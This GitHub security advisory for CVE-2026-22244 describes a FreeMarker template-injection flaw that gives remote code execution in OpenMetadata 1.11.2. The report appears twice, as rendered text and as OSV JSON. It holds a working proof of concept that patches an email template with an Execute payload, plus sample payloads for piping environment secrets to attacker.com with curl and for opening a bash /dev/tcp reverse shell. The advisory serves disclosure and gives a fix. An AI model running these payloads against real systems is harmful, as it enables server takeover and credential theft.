GHSA-5F29-2333-H9C7
Vulnerability from github – Published: 2026-01-07 19:33 – Updated: 2026-08-31 23:00OpenMetadata RCE Vulnerability - Proof of Concept
Executive Summary
CRITICAL Remote Code Execution vulnerability confirmed in OpenMetadata v1.11.2 via Server-Side Template Injection (SSTI) in FreeMarker email templates.
Credit
- @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 – FPT Cloud AppSec Research Team, FPT Smart Cloud
Vulnerability Details
1. Root Cause
File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java
Lines 35-45 contain unsafe FreeMarker template instantiation:
public Template getTemplate(String templateName) throws IOException {
EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
String template = emailTemplate.getTemplate(); // ← USER-CONTROLLED CONTENT FROM DATABASE
if (nullOrEmpty(template)) {
throw new IOException("Template content not found for template: " + templateName);
}
return new Template(
templateName,
new StringReader(template), // ← RENDERS UNTRUSTED TEMPLATE
new Configuration(Configuration.VERSION_2_3_31)); // ← UNSAFE: NO SECURITY RESTRICTIONS!
}
Missing Security Controls:
- ❌ No setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER) - Allows arbitrary class instantiation
- ❌ No setAPIBuiltinEnabled(false) - Enables ?api built-in for reflection
- ❌ No input validation - Template content not sanitized
2. Attack Vector (VERIFIED)
Step 1: Attacker with Admin role modifies EmailTemplate via PATCH endpoint
PATCH /api/v1/docStore/{templateId}
Authorization: Bearer <admin_jwt_token>
Content-Type: application/json-patch+json
[
{
"op": "replace",
"path": "/data/template",
"value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()><p>RCE: ${ ex(\"whoami\") }</p>"
}
]
Step 2: Malicious template stored in MySQL database:
SELECT name, JSON_EXTRACT(json, '$.data.template')
FROM docstore
WHERE name = 'account-activity-change';
-- Returns: <#assign ex=\"freemarker.template.utility.Execute\"?new()>...
Step 3: Trigger template rendering via email notification: - Password change - User invitation - Account activity notification - Test email (if SMTP configured)
Step 4: RCE execution in DefaultTemplateProvider.getTemplate():
Template template = templateProvider.getTemplate("account-activity-change");
template.process(model, stringWriter); // ← COMMAND EXECUTES HERE AS SERVER USER!
Exploit Verification
Environment
- Version: OpenMetadata 1.11.2 (Latest)
- Platform: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4)
- Test Date: December 15, 2025
Step-by-Step Reproduction
1. Deploy OpenMetadata 1.11.2
cd docker
./run_local_docker.sh -m no-ui -d mysql
Result: ✅ OpenMetadata running on localhost:8585
2. Obtain Admin JWT Token
export NO_PROXY=localhost,127.0.0.1
TOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \
-H "Content-Type: application/json" \
-d '{"email":"admin@open-metadata.org","password":"YWRtaW4="}' \
| grep -o '"accessToken":"[^"]*' | cut -d'"' -f4)
echo "Token: ${TOKEN:0:50}..."
Result: ✅ Token obtained (654 characters, 1-hour expiry)
3. Identify Target Template
# Get testMail template ID (used by test email endpoint)
curl -s "http://localhost:8585/api/v1/docStore?entityType=EmailTemplate" \
-H "Authorization: Bearer $TOKEN" \
| jq -r '.data[] | select(.name=="testMail") | .id'
Result: ✅ Template ID: 855f58c6-1b80-467a-b92e-71c425e9bfdb
4. Inject RCE Payload
curl -X PATCH "http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb" \
-H "Content-Type: application/json-patch+json" \
-H "Authorization: Bearer $TOKEN" \
-d '[{
"op": "replace",
"path": "/data/template",
"value": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"
}]'
Result: ✅ HTTP 200 OK - Template modified successfully
Response Excerpt:
{
"id": "855f58c6-1b80-467a-b92e-71c425e9bfdb",
"name": "testMail",
"entityType": "EmailTemplate",
"data": {
"template": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>RCE OUTPUT: ${ex(\"whoami\")} - ${ex(\"pwd\")}"
},
"changeDescription": {
"fieldsUpdated": [
{
"name": "data",
"oldValue": "{\"template\":\"<!DOCTYPE HTML ...ORIGINAL_TEMPLATE...\"}",
"newValue": "{\"template\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>RCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"}"
}
]
}
}
5. Setup SMTP Server
# Start MailDev SMTP server (catches emails for verification)
docker run -d --name fakesmtp \
--network linhln31_default \
-p 1025:1025 -p 1080:1080 \
maildev/maildev:latest
# Update OpenMetadata SMTP configuration
docker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \
-Dopenmetadata_db -e "UPDATE openmetadata_settings
SET json=JSON_SET(json,
'$.serverEndpoint', 'fakesmtp',
'$.serverPort', 1025,
'$.transportationStrategy', 'SMTP',
'$.enableSmtpServer', true,
'$.senderMail', 'noreply@openmetadata.org'
)
WHERE configType='emailConfiguration';"
# Restart OpenMetadata to load new SMTP config
docker restart om_server
sleep 50 # Wait for server startup
Result: ✅ SMTP server ready at fakesmtp:1025
6. Trigger RCE Execution
curl -X PUT "http://localhost:8585/api/v1/system/email/test" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"email":"test@test.com"}'
Result: ✅ HTTP 200 OK - "Test Email Sent Successfully."
7. Verify RCE Execution
# Check email content in MailDev
docker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10
Result: ✅ RCE CONFIRMED!
Email Content:
Date: Mon, 15 Dec 2025 17:03:20 +0000 (GMT)
From: noreply@openmetadata.org
To: test@test.com
Message-ID: <1307498173.2.1765818200564@62a9f8b5b6f2>
Subject: OpenMetadata : Test Email
MIME-Version: 1.0
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
RCE OUTPUT: openmetadata
- /opt/openmetadata
Command Execution Proof:
- ✅ whoami command executed → returned openmetadata
- ✅ pwd command executed → returned /opt/openmetadata
- ✅ Commands ran as server process user
- ✅ Full arbitrary command execution achieved
Attack Scenarios
Scenario 1: Privilege Escalation
- Attacker compromises Admin account (phishing, credential stuffing, etc.)
- Injects RCE payload into
password-resettemplate - Triggers password reset for target user
- RCE executes as OpenMetadata server user during email rendering
- Attacker gains shell access to application server
Scenario 2: Data Exfiltration
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-")}
Exfiltrates environment variables containing: - Database credentials - API keys and secrets - JWT signing keys - Cloud provider credentials
Scenario 3: Reverse Shell
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}
Establishes persistent access for: - Interactive command execution - Lateral movement to connected systems - Database direct access - Kubernetes cluster compromise (if containerized)
Impact Assessment
Technical Impact
- Confidentiality: HIGH - Access to database credentials, API keys, secrets
- Integrity: HIGH - Full control over OpenMetadata application and data
- Availability: HIGH - Ability to crash application, delete data, deny service
Business Impact
- Data Breach: Access to all metadata including sensitive schema information, PII mappings, data lineage
- Compliance: GDPR, SOC2, HIPAA violations if exploited
- Reputation: Critical security failure in data governance platform
- Supply Chain: Potential pivot to connected data sources (70+ connectors)
CVSS 3.1 Score
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L) - Simple API requests
- Privileges Required (PR): High (H) - Admin role required
- User Interaction (UI): None (N)
- Scope (S): Changed (C) - Impacts beyond application (server OS)
- Confidentiality (C): High (H)
- Integrity (I): High (H)
- Availability (A): High (H)
Score: 9.1 (CRITICAL)
Remediation
Immediate Fix (CRITICAL)
File: openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java
Replace lines 38-42 with:
public Template getTemplate(String templateName) throws IOException {
EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);
String template = emailTemplate.getTemplate();
if (nullOrEmpty(template)) {
throw new IOException("Template content not found for template: " + templateName);
}
// SECURITY FIX: Create sandboxed FreeMarker configuration
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
// Block dangerous built-ins
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setAPIBuiltinEnabled(false);
cfg.setClassicCompatible(false);
// Restrict template loading
cfg.setTemplateLoader(new StringTemplateLoader());
return new Template(templateName, new StringReader(template), cfg);
}
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.open-metadata:platform"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0"
},
{
"fixed": "1.11.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22244"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-07T19:33:03Z",
"nvd_published_at": "2026-01-08T16:16:02Z",
"severity": "HIGH"
},
"details": "# OpenMetadata RCE Vulnerability - Proof of Concept\n\n## Executive Summary\n\n**CRITICAL Remote Code Execution vulnerability** confirmed in OpenMetadata v1.11.2 via **Server-Side Template Injection (SSTI)** in FreeMarker email templates.\n\n## Credit\n- @lnlinh31, @satthusaosan, @TheMacCuoi, @get-wright, @Ohnooo1234, @hienduc14 \u2013 FPT Cloud AppSec Research Team, FPT Smart Cloud\n\n## Vulnerability Details\n\n### 1. Root Cause\n\nFile: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`\n\n**Lines 35-45** contain unsafe FreeMarker template instantiation:\n\n```java\npublic Template getTemplate(String templateName) throws IOException {\n EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);\n String template = emailTemplate.getTemplate(); // \u2190 USER-CONTROLLED CONTENT FROM DATABASE\n \n if (nullOrEmpty(template)) {\n throw new IOException(\"Template content not found for template: \" + templateName);\n }\n \n return new Template(\n templateName, \n new StringReader(template), // \u2190 RENDERS UNTRUSTED TEMPLATE\n new Configuration(Configuration.VERSION_2_3_31)); // \u2190 UNSAFE: NO SECURITY RESTRICTIONS!\n}\n```\n\n**Missing Security Controls**:\n- \u274c No `setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)` - Allows arbitrary class instantiation\n- \u274c No `setAPIBuiltinEnabled(false)` - Enables `?api` built-in for reflection\n- \u274c No input validation - Template content not sanitized\n\n### 2. Attack Vector (VERIFIED)\n\n**Step 1**: Attacker with Admin role modifies EmailTemplate via PATCH endpoint\n\n```bash\nPATCH /api/v1/docStore/{templateId}\nAuthorization: Bearer \u003cadmin_jwt_token\u003e\nContent-Type: application/json-patch+json\n\n[\n {\n \"op\": \"replace\",\n \"path\": \"/data/template\",\n \"value\": \"\u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003e\u003cp\u003eRCE: ${ ex(\\\"whoami\\\") }\u003c/p\u003e\"\n }\n]\n```\n\n**Step 2**: Malicious template stored in MySQL database:\n\n```sql\nSELECT name, JSON_EXTRACT(json, \u0027$.data.template\u0027) \nFROM docstore \nWHERE name = \u0027account-activity-change\u0027;\n\n-- Returns: \u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003e...\n```\n\n**Step 3**: Trigger template rendering via email notification:\n- Password change\n- User invitation\n- Account activity notification\n- Test email (if SMTP configured)\n\n**Step 4**: RCE execution in `DefaultTemplateProvider.getTemplate()`:\n\n```java\nTemplate template = templateProvider.getTemplate(\"account-activity-change\");\ntemplate.process(model, stringWriter); // \u2190 COMMAND EXECUTES HERE AS SERVER USER!\n```\n\n---\n\n## Exploit Verification\n\n### Environment\n\n- **Version**: OpenMetadata 1.11.2 (Latest)\n- **Platform**: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4)\n- **Test Date**: December 15, 2025\n\n### Step-by-Step Reproduction\n\n#### 1. Deploy OpenMetadata 1.11.2\n\n```bash\ncd docker\n./run_local_docker.sh -m no-ui -d mysql\n```\n\n**Result**: \u2705 OpenMetadata running on localhost:8585\n\n#### 2. Obtain Admin JWT Token\n\n```bash\nexport NO_PROXY=localhost,127.0.0.1\nTOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"email\":\"admin@open-metadata.org\",\"password\":\"YWRtaW4=\"}\u0027 \\\n | grep -o \u0027\"accessToken\":\"[^\"]*\u0027 | cut -d\u0027\"\u0027 -f4)\n\necho \"Token: ${TOKEN:0:50}...\"\n```\n\n**Result**: \u2705 Token obtained (654 characters, 1-hour expiry)\n\n#### 3. Identify Target Template\n\n```bash\n# Get testMail template ID (used by test email endpoint)\ncurl -s \"http://localhost:8585/api/v1/docStore?entityType=EmailTemplate\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n | jq -r \u0027.data[] | select(.name==\"testMail\") | .id\u0027\n```\n\n**Result**: \u2705 Template ID: `855f58c6-1b80-467a-b92e-71c425e9bfdb`\n\n#### 4. Inject RCE Payload\n\n```bash\ncurl -X PATCH \"http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb\" \\\n -H \"Content-Type: application/json-patch+json\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -d \u0027[{\n \"op\": \"replace\",\n \"path\": \"/data/template\",\n \"value\": \"\u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003eRCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"\n }]\u0027\n```\n\n**Result**: \u2705 **HTTP 200 OK** - Template modified successfully\n\n**Response Excerpt**:\n```json\n{\n \"id\": \"855f58c6-1b80-467a-b92e-71c425e9bfdb\",\n \"name\": \"testMail\",\n \"entityType\": \"EmailTemplate\",\n \"data\": {\n \"template\": \"\u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003eRCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"\n },\n \"changeDescription\": {\n \"fieldsUpdated\": [\n {\n \"name\": \"data\",\n \"oldValue\": \"{\\\"template\\\":\\\"\u003c!DOCTYPE HTML ...ORIGINAL_TEMPLATE...\\\"}\",\n \"newValue\": \"{\\\"template\\\":\\\"\u003c#assign ex=\\\\\\\"freemarker.template.utility.Execute\\\\\\\"?new()\u003eRCE OUTPUT: ${ex(\\\\\\\"whoami\\\\\\\")} - ${ex(\\\\\\\"pwd\\\\\\\")}\\\"}\"\n }\n ]\n }\n}\n```\n\n#### 5. Setup SMTP Server\n\n```bash\n# Start MailDev SMTP server (catches emails for verification)\ndocker run -d --name fakesmtp \\\n --network linhln31_default \\\n -p 1025:1025 -p 1080:1080 \\\n maildev/maildev:latest\n\n# Update OpenMetadata SMTP configuration\ndocker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \\\n -Dopenmetadata_db -e \"UPDATE openmetadata_settings \n SET json=JSON_SET(json, \n \u0027$.serverEndpoint\u0027, \u0027fakesmtp\u0027, \n \u0027$.serverPort\u0027, 1025, \n \u0027$.transportationStrategy\u0027, \u0027SMTP\u0027,\n \u0027$.enableSmtpServer\u0027, true,\n \u0027$.senderMail\u0027, \u0027noreply@openmetadata.org\u0027\n ) \n WHERE configType=\u0027emailConfiguration\u0027;\"\n\n# Restart OpenMetadata to load new SMTP config\ndocker restart om_server\nsleep 50 # Wait for server startup\n```\n\n**Result**: \u2705 SMTP server ready at fakesmtp:1025\n\n#### 6. Trigger RCE Execution\n\n```bash\ncurl -X PUT \"http://localhost:8585/api/v1/system/email/test\" \\\n -H \"Content-Type: application/json\" \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -d \u0027{\"email\":\"test@test.com\"}\u0027\n```\n\n**Result**: \u2705 **HTTP 200 OK** - \"Test Email Sent Successfully.\"\n\n#### 7. Verify RCE Execution\n\n```bash\n# Check email content in MailDev\ndocker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10\n```\n\n**Result**: \u2705 **RCE CONFIRMED!**\n\n**Email Content**:\n```\nDate: Mon, 15 Dec 2025 17:03:20 +0000 (GMT)\nFrom: noreply@openmetadata.org\nTo: test@test.com\nMessage-ID: \u003c1307498173.2.1765818200564@62a9f8b5b6f2\u003e\nSubject: OpenMetadata : Test Email\nMIME-Version: 1.0\nContent-Type: text/html; charset=\"UTF-8\"\nContent-Transfer-Encoding: quoted-printable\n\nRCE OUTPUT: openmetadata\n - /opt/openmetadata\n```\n\n**Command Execution Proof**:\n- \u2705 `whoami` command executed \u2192 returned `openmetadata`\n- \u2705 `pwd` command executed \u2192 returned `/opt/openmetadata`\n- \u2705 Commands ran as server process user\n- \u2705 Full arbitrary command execution achieved\n\n---\n\n## Attack Scenarios\n\n### Scenario 1: Privilege Escalation\n\n1. Attacker compromises Admin account (phishing, credential stuffing, etc.)\n2. Injects RCE payload into `password-reset` template\n3. Triggers password reset for target user\n4. RCE executes as OpenMetadata server user during email rendering\n5. Attacker gains shell access to application server\n\n### Scenario 2: Data Exfiltration\n\n```freemarker\n\u003c#assign ex=\"freemarker.template.utility.Execute\"?new()\u003e\n${ex(\"cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-\")}\n```\n\nExfiltrates environment variables containing:\n- Database credentials\n- API keys and secrets\n- JWT signing keys\n- Cloud provider credentials\n\n### Scenario 3: Reverse Shell\n\n```freemarker\n\u003c#assign ex=\"freemarker.template.utility.Execute\"?new()\u003e\n${ex(\"bash -c \u0027bash -i \u003e\u0026 /dev/tcp/attacker.com/4444 0\u003e\u00261\u0027\")}\n```\n\nEstablishes persistent access for:\n- Interactive command execution\n- Lateral movement to connected systems\n- Database direct access\n- Kubernetes cluster compromise (if containerized)\n\n---\n\n## Impact Assessment\n\n### Technical Impact\n\n- **Confidentiality**: **HIGH** - Access to database credentials, API keys, secrets\n- **Integrity**: **HIGH** - Full control over OpenMetadata application and data\n- **Availability**: **HIGH** - Ability to crash application, delete data, deny service\n\n### Business Impact\n\n- **Data Breach**: Access to all metadata including sensitive schema information, PII mappings, data lineage\n- **Compliance**: GDPR, SOC2, HIPAA violations if exploited\n- **Reputation**: Critical security failure in data governance platform\n- **Supply Chain**: Potential pivot to connected data sources (70+ connectors)\n\n### CVSS 3.1 Score\n\n```\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H\n```\n\n- **Attack Vector (AV)**: Network (N)\n- **Attack Complexity (AC)**: Low (L) - Simple API requests\n- **Privileges Required (PR)**: High (H) - Admin role required\n- **User Interaction (UI)**: None (N)\n- **Scope (S)**: Changed (C) - Impacts beyond application (server OS)\n- **Confidentiality (C)**: High (H)\n- **Integrity (I)**: High (H)\n- **Availability (A)**: High (H)\n\n**Score**: **9.1 (CRITICAL)**\n\n---\n\n## Remediation\n\n### Immediate Fix (CRITICAL)\n\n**File**: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`\n\n**Replace lines 38-42 with:**\n\n```java\npublic Template getTemplate(String templateName) throws IOException {\n EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);\n String template = emailTemplate.getTemplate();\n \n if (nullOrEmpty(template)) {\n throw new IOException(\"Template content not found for template: \" + templateName);\n }\n \n // SECURITY FIX: Create sandboxed FreeMarker configuration\n Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);\n \n // Block dangerous built-ins\n cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);\n cfg.setAPIBuiltinEnabled(false);\n cfg.setClassicCompatible(false);\n \n // Restrict template loading\n cfg.setTemplateLoader(new StringTemplateLoader());\n \n return new Template(templateName, new StringReader(template), cfg);\n}\n```\n---",
"id": "GHSA-5f29-2333-h9c7",
"modified": "2026-08-31T23:00:24Z",
"published": "2026-01-07T19:33:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-5f29-2333-h9c7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22244"
},
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/commit/bffe7c45807763f9b682021d4211c478d2a08bb3"
},
{
"type": "WEB",
"url": "https://github.com/open-metadata/OpenMetadata/commit/d17d13cee87db139e5d8f778547174f8ee341108"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-metadata/OpenMetadata"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P",
"type": "CVSS_V4"
}
],
"summary": "OpenMetadata\u0027s Server-Side Template Injection (SSTI) in FreeMarker email templates leads to RCE"
}
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